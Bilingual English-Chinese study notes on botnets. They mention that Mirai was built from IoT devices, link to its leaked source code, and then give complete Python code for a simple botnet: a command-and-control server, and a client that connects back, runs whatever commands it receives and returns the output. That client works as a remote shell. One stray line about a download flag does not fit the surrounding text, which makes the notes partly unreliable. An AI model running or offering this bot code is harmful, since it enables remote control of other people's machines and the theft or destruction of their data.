Botnets僵尸网络
举例:
The Mirai botnet was composed of a collection of Internet of Things (Io T) devices like cameras and home routers.
Mirai僵尸网络由一系列物联网(Io T)设备组成,如照相机和家庭路由器。
The Mirai botnet code is available on Git Hub at
https://github.com/jgamblin/Mirai-Source-Code/.
The -0- flag outputs the contents of the downloaded file.
一个简易的僵尸网络代码:
botserver.py
import socketserver
class BotHandler(socketserver.BaseRequestHandler):
def handle(self) -> None:
self.data = self.request.recv(1024).strip()
print("BOT IP addr is :{}".format(self.client_address[0]))
print(self.data)
com=""
while com !="exit":
com=input("input: ")
self.request.sendall(com.encode())
self.data = self.request.recv(1024).strip()
print(self.data)
if __name__ == "__main__":
HOST, PORT = "", 8000
tcpserver = socketserver.TCPServer((HOST, PORT), BotHandler)
try:
tcpserver.serve_forever()
except:
print("there are errors")
botsclient.py
import sys
from subprocess import PIPE, Popen
from socket import *
server_name = sys.argv[1]
server_port = 8000
client_Socket = socket(AF_INET, SOCK_STREAM)
client_Socket.connect((server_name, server_port))
client_Socket.send('Bot reporting for duty'.encode())
while True:
com= client_Socket.recv(4064).decode()
proc=Popen(com.split(" "),stdout=PIPE,stderr=PIPE)
result,error=proc.communicate()
client_Socket.send(result)
client_Socket.close()